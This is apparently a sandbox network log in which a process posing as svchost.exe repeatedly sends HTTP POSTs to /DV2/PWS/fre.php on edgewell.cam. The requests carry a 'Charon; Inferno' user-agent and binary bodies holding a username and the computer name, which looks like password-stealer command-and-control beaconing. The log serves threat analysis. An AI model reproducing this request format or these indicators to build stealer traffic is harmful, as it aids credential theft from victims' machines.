Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49742	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:22.168782949 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:22.217107058 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:23.031837940 CEST	605	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=adVmUDONV7asr%2Bqse33UMKTIbi%2BWkHGxJp30ZJvkRb8dxaATaOsp87%2B0PhT%2FDz0%2BZ4QD2O0ehphUQlisF2l%2B5FWA%2F58yvf%2B6zfcyFEm49Jum1u9vDojtaKxWjwtHwps%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20ced1b0ac472-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49743	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:23.648663044 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:23.697263002 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:24.333389044 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BXomY5HyVZaaj86ZRqioHTbXmzQ%2Fup28NPKrIs8I93DGYkAL0AYHUJy0rs8Rd5abtJq2nzRQttoRBmImzquG8nV5LdqoQar1OMYK1iLie9ljglOzP0DhNleroJ0ayVw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20cf56f7443a7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49744	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:25.218771935 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:25.269093990 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:26.282572031 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pihdukmjVqOkztfrreVQDPIFOKzDV%2BemgyyokTa%2F0MXG2rwRBymDcZmEYVAA1VilLm5%2FrqN8AwV4bpdy2Jk6UQtVR0191kHfunGEOiTTT%2Bx9JzfjofqYAUW1avND%2FPU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d002ef4c339-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49745	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:26.436407089 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:26.485061884 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:27.153357029 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mf%2BQFRSjgUM6e%2BhRO0n2Ufh9bADtUBQStHBTPBIhhZPr7ny5ceULrlRk%2FU4NeK4ZFrnwcT3Qc74QTsfLse5kDg%2FWEga7KK5INdhFvTDKi%2FacGYmPQesoLyeMkwPomVk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d071dd30fa4-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49746	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:27.314357042 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:27.365293980 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:28.185755014 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wX3p5VhnTvG7sDb2%2BBYoNcceCOvd5A38n%2FW81PeT0bupbGKFkSahLqhUxz%2F0mNbbdGeZ1j0oSpr3e31hZnU%2BdzZDct1MuJGf0Lfr%2FS3Wv3sMadHR9lIWWQqfDL4vLFw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d0d8efa8c95-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49747	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:28.354051113 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:28.404791117 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:29.049575090 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kmp5sG7PIiEn2kmXg1i5PWa1aOwJt5yrM1I7G3ryVm6ouqXVpnKXQrMN0kfJgF%2FBb%2Bk468C0t8Glted6HjWKWYuHgSLOfpb3MmRZcDNuQ9gaaAwSeca1eYA1ttkZmmg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d12ca707ce2-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49748	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:29.208414078 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:29.256799936 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:29.953603029 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oMyFFZ7zuYX3S%2BS6mAcSP4468zbwSWYQCK6Y0dCuc4zD%2B%2FslYoLMmS0IoWpcJ6FZNwdGY8U4Fvc9%2FMfqXH7rzFRPzDxn1skgegAiRF4RvpmzEd2x3VlIm9d2eLkxfr0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d185c73420b-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49749	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:30.108860970 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:30.164151907 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:30.933007956 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=czldcPxLGIdQAxPnU4sMMIUP0q7y7hche4Ddn3kD9kZDIZZskTR524%2FR5moty9ctl2M%2FiYFbP6keIGZ6tj2m%2B5oFv0zVTCO6v%2F1pT5VBlMVKIaUvHHN7oOYF3MrflI4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d1dfc168c84-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49750	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:31.110920906 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:31.161364079 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:31.781552076 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SrsJUgEtaCuV4V8RZnM4%2Bv3bx3P21wLt9C1QdEFUzXI6O%2FK4gyJTYn0nDvD%2FdGQ7fXLYtSXNOoHNlToq797YKktSqommodogOBfWAWL37mtGmgg2AnFcQqmdgIGuEVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d2419304366-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49751	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:31.964999914 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:32.013323069 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:32.678488016 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S5V4HYLWYY96yOBpqVihMPBD6Yhezhi62letsor7IOe8Df%2BTYH%2Bj5aJDW1SntA42P1vSawDHDmqXrBZcwbd7N1pspAZGmMQNukvV40ebeFbffuR7GplKEWxFCl5hnpc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d2959067c96-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49752	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:32.850963116 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:32.906555891 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:33.694895029 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yvjjzrOTesLnBxCyMiNy3tfJa6SQ0J2uQRcThj7BozH7OHEuxzcVZ%2F%2FXRLHNVTa3yJUHq8q4jG4d7xgBQ5JQkn42o%2B%2BEHsVG8eK%2BSMnfa0pjG1d39NHgd0O3z00rXoc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d300d3a42f2-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49753	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:33.866648912 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:33.915070057 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:34.563853025 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9YzPe3BS9PIKKkZWaRi2DS70b3hITANyvw3UagzElg2p4LinOX8SQgbKOxB1x6Tbg31%2FhXapGWWEKXvCQio5q5%2BAfCUFvVkhFY%2FWI8gt%2F8wkHcghXgjCuZX%2FUaw%2BA5s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d354c755e80-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49754	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:34.740165949 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:34.788880110 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:35.395363092 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ah6rnBRYjbmzgx4CdCJYkUTnjgLKrdXSIWDMI0Aic6dE9HqVYQKSLx%2FXALmE%2BmlWFxwuFER55emf3EBs5DmZ9%2B%2BxM2fHpEMSN%2FJnXnOJ4lTuBDesIuMNGmvz9vGVJP8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d3aab3841d8-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49755	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:35.556015968 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:35.605241060 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:36.209853888 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SCQJmpm%2FKWlEX3VkkTsZih%2FaPTiVg3IRNSu1pPiZ7fKYwYhVcduzx6Tg%2BJvWatocVEdFyGXSb9I9rg3LO9%2F%2FN7%2FH5w9%2FyuthwJtPYEX0P6BRPbpPPpMAqyZrjyJNTtE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d3fca424228-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49756	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:36.373420000 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:36.424917936 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:37.170723915 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7EmRtdrZlAueVsnrEybsiO%2BaPc%2Fx28Xpy4NFRx%2FcpIjKZh3VhD1WVu7vtfxdsZgqLUyw%2FZhauSEYa%2BZKqmw2fGtRnBM%2BfCVoP9DtckbW4iLpbhmq2bUdToJnrVBcLQM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d45c8220cf1-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49757	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:37.342737913 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
